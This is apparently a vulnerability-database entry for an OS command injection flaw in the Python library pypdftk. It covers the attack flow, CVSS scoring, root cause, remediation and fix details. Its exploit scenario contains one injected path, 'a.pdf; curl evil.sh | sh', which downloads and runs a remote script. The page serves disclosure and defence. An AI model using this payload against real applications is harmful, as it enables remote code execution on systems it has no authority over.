EUVD-2026-101264
GHSA-hx4x-jq2f-pwr6
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify app passing user path to pypdftk
-
DeliverySubmit path with shell metacharacters
-
ExploitLibrary builds shell=True command string
-
Executionsubprocess.Popen executes injected command
-
ImpactArbitrary code runs as Python process user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the application embedding pypdftk (version through 0.5) passes attacker-influenced values into the pdf_path or out_file arguments of fill_form(), dump_data_fields(), or pdftk_cmd_util(); these build shell commands via '%s' string formatting executed by subprocess.Popen with shell=True. The concrete prerequisite is caller-supplied, unsanitized file-path input reaching one of those three functions - there is no library-internal authentication or user-interaction gate. Limiting factors: the flaw is not directly reachable over the network by itself (it is a library), so exploitation is gated by whether the host application exposes these parameters to untrusted input and by the OS privileges of the Python process; applications that pass only fixed/trusted paths are not exploitable. |
| Impact | Severity signals are strong but one-sided. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, 9.3) and CWE-78 describe unauthenticated remote OS command execution with full confidentiality, integrity and availability impact, and a fix is confirmed via vendor PR #57 (which replaces the shell-string construction with an argument list). However, no EPSS score, no CISA KEV listing, and no public exploit were supplied, so the only exploitation signal is a vendor/VulnCheck advisory plus a GitHub issue - i.e. no public exploit identified at time of analysis. The most important caveat: pypdftk is a library, not a standalone service, so the AV:N/PR:N rating assumes the consuming application passes attacker-controlled values into pdf_path or out_file. Whether a given deployment is remotely and unauthenticatedly exploitable depends entirely on how the host application exposes those parameters - the network vector is inherited from the caller, not intrinsic to the library. Net: treat as high priority for any app that feeds user-supplied file paths to pypdftk and cannot upgrade, but the lack of KEV/EPSS/POC data suggests this is a prudent-patch issue rather than evidence of widespread active exploitation. |
| Exploit ScenarioDerived | A web application lets users supply a filename or output path that it forwards to pypdftk's fill_form() or pdftk_cmd_util(). An attacker submits a path containing shell metacharacters (e.g. 'a.pdf; curl evil.sh | sh'), which subprocess.Popen executes with shell=True, running arbitrary OS commands as the Python process. No public exploit code is identified, but the PR #57 diff clearly demonstrates the injectable command construction. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 14, 2026
OS command injection in the Python library pypdftk (through version 0.5) lets attackers who control the pdf_path or out_file arguments of fill_form(), dump_data_fields(), or pdftk_cmd_util() execute arbitrary operating-system commands with the privileges of the hosting Python process. The three functions concatenate caller-supplied paths into a command string using '%s' formatting and pass it to subprocess.Popen with shell=True, so shell metacharacters embedded in a filename or path are interpreted by the shell rather than treated as literal arguments. CVSS v4.0 scores the flaw 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N), and the independent assessment concurs with CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, but real-world reachability is bounded by the calling application - pypdftk is a library, not a network service, so exploitation requires the embedding application to forward untrusted input into those parameters, and no public exploit code has been identified at time of analysis. No CISA KEV entry exists for this CVE, and a source-level fix is available from upstream via pull request 57, which replaces string command construction with argument lists.
RemediationAI
Upstream fix available (PR/commit); released patched version not independently confirmed - pull request https://github.com/revolunet/pypdftk/pull/57 refactors fill_form(), dump_data_fields(), and pdftk_cmd_util() to build argument lists instead of shell strings and removes the shell=True execution path, which eliminates the injection class entirely. Because a tagged patched release has not been independently verified, the most reliable immediate action is to vendor or pin the post-PR-57 commit (or apply the diff manually), and to track the project repository for an official version bump beyond 0.5. Until patched code is deployed, the primary compensating control is to never pass caller-controlled data into the pdf_path or out_file arguments of these three functions: resolve untrusted inputs against a fixed, allow-listed base directory using os.path.realpath and reject anything that escapes it - the trade-off is that legitimate paths containing spaces, non-ASCII characters, or symlinks may need explicit handling, and permissive normalization can accidentally re-open the hole. Running the Python process under a least-privilege service account, container, or sandbox with no shell utilities on PATH and a read-only filesystem limits the blast radius of a successful injection but does not remove the defect, since the injected command still runs as that process. A brute-force wrapper that strips shell metacharacters from paths is fragile and prone to bypass via encoding or Unicode normalization, so it should be treated only as a stopgap. Review any embedding application for endpoints, API parameters, or job queues that reach these functions with user input, and log the effective argv values to detect exploitation attempts; the upstream issue (https://github.com/revolunet/pypdftk/issues/56) and the VulnCheck advisory (https://www.vulncheck.com/advisories/pypdftk-through-0.5-os-command-injection-via-pdf-and-output-paths) should be monitored for a released patched version.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
pypdftk is a thin Python wrapper around the pdftk (PDF Toolkit) command-line binary, used to fill PDF forms, dump form-field metadata, and compress/normalize PDFs. The affected code path (pypdftk.py lines 87-123 and the surrounding helpers) builds a shell command as a single formatted string - for example cmd = "%s %s fill_form %s output %s" % (PDFTK_PATH, pdf_path, tmp_fdf, out_file) - appending options such as ' flatten' and ' drop_xfa' by string concatenation, then executing it through run_command(), which invokes subprocess.Popen with shell=True. This is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command) root cause: because the shell is enabled and the path arguments are interpolated rather than passed as discrete argv elements, characters such as semicolons, backticks, $(), pipes, and ampersands inside pdf_path or out_file are evaluated by /bin/sh. Two conditions make the pattern especially dangerous in this codebase: the injection appears in three separate public entry points (fill_form, dump_data_fields, pdftk_cmd_util), and the underlying PDFTK_PATH itself is an environment-level constant that, combined with the shell invocation, widens the surface for anyone who can influence process environment or paths. The upstream fix in PR 57 eliminates the class of bug by converting each command into a Python list (e.g. cmd = [PDFTK_PATH, pdf_path, 'fill_form', tmp_fdf, 'output', out_file] with cmd.append('flatten') instead of string concatenation) and dropping the shell=True flag from run_command, so arguments are passed directly to execve without shell interpretation. Note that even after the fix, PDFTK_PATH-like configuration and argument ordering must remain correct for functionality - this is a correctness-preserving refactor, not a feature change.
Know when Pypdftk gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Library injection yields full OS command execution (C/I/A:H, S:U as code runs as the Python process); AV:N/PR:N inherited assuming a network-facing caller forwards untrusted paths, though true reachability depends on the consuming application.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
pypdftk through 0.5 contains an OS command injection vulnerability in fill_form(), dump_data_fields(), and pdftk_cmd_util() that builds shell commands from caller-supplied paths. Attackers controlling pdf_path or out_file can inject shell metacharacters interpreted by subprocess.Popen with shell=True to execute OS commands as the Python process.
Articles & Coverage 1
Executive ViewAI
A critical OS command injection flaw in the open-source Python library pypdftk (all versions through 0.5) allows an attacker to run arbitrary operating-system commands on any server, container, or workstation running an application that embeds this library. Because the library is a dependency rather than a standalone service, the practical exposure is set by every internal application, document-processing pipeline, or batch job that passes user-influenced file paths into pypdftk's fill_form, dump_data_fields, or pdftk_cmd_util functions - meaning the blast radius is potentially broad across engineering teams and not confined to a single system owner. Successful exploitation would execute with the privileges of the host Python process, creating a credible path to data theft, service disruption, or lateral movement from what leadership may otherwise treat as a low-profile PDF utility.
Apply vendor patch.
Threat Intelligence Overview
NVD
CVE.org
EPSS
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Exploit-DB